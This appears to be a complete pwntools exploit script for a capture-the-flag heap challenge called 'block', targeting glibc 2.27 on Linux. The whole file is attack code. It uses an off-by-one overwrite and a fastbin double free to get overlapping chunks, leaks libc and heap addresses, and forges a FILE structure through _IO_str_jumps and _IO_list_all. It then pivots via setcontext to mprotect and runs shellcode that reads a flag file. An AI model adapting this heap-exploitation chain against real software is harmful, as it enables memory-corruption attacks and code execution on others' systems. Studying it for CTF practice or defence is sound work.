#!/usr/bin/python
#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
p = process('./block')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(type1, size, content):
    p.sendlineafter('Choice >> ', '1')
    p.sendlineafter('type: ', str(type1))
    p.sendlineafter('size: ', str(size))
    p.sendafter('content: ', content)

def Delete(index):
    p.sendlineafter('Choice >> ', '2')
    p.sendlineafter('index: ', str(index))

def Show(index):
    p.sendlineafter('Choice >> ', '3')
    p.sendlineafter('index: ', str(index))

def Edit(index, content):
    p.sendlineafter('Choice >> ', '4')
    p.sendlineafter('index: ', str(index))
    p.sendafter('content: ', content)
    
for i in range(7):
    Add(3, 0x1e0, 'A'*0x10 + '\n')
for i in range(7):
    Delete(i)

Add(3, 0x68, 'A'*0x10 + '\n')
Add(3, 0xf8, 'A'*0x10 + '\n')
Add(3, 0x68, 'A'*0x10 + '\n')
Add(3, 0x78, 'A'*0x10 + '\n')
Add(3, 0x68, 'A'*0x10 + '\n')
Add(1, 0x450, 'A'*0x10 + '\n')
Add(3, 0x68, 'A'*0x10 + '\n')

Edit(0, '\x00'*0x68 + '\xf1' + '\n')

Delete(1)

Add(3, 0xf8, 'A'*0x10 + '\n')
Add(3, 0x68, 'A'*0x10 + '\n')
Delete(5)

# leak
Show(3)
p.recvuntil('The content is ')
libc_base = u64(p.recv(8)) - 0x3ebca0
libc.address = libc_base
info("libc_base ==> " + hex(libc_base))
chunk_addr = u64(p.recv(8))
info("chunk_addr ==> " + hex(chunk_addr))

mprotect = libc.symbols['mprotect']
setcontext = libc.symbols['setcontext']
_IO_str_jumps = libc_base + 0x3e8360

#payload = 'A'*0x10 + '\n'
code  = shellcraft.open('./flag')
code += shellcraft.read(3, "rsp", 0x100)
code += shellcraft.write(1, "rsp", 0x100)

payload  = '\x00'*0x28 + p64(1) + '\x00'*0x8 + p64(chunk_addr + 0x120)
payload  = payload.ljust(0xd8, '\x00') + p64(_IO_str_jumps - 0x8) + '\x00'*8 + p64(setcontext + 0x35)
payload += '\x00'*0x20 + '\x00'*0x68 + p64(chunk_addr + 0x80)
payload += p64(0x1000) + '\x00'*0x10 + p64(0x7)
payload += '\x00'*0x10 + p64(chunk_addr + 0x80 + 0x200) + p64(mprotect) + p64(0) + p64(0)
payload += '\x00'*0xa0 + p64(chunk_addr + 0x80 + 0x200 + 0x8)
payload += asm(code)
Add(1, 0x450, payload + '\n')

# double free
Delete(2)
Delete(4)
Delete(7)

# 把_IO_list_all加入fastbin中
Add(3, 0x68, p64(libc_base + 0x3ec63d) + '\n')
Add(3, 0x68, 'A'*0x10 + '\n')
Add(3, 0x68, p64(chunk_addr + 0x10) + '\n')
Add(3, 0x68, '\x00'*0x13 + p64(chunk_addr + 0x10) + '\n')

gdb.attach(p, 'b * 0x555555554000+0xcfa\nc')
p.sendlineafter('Choice >> ', '5')

p.interactive()
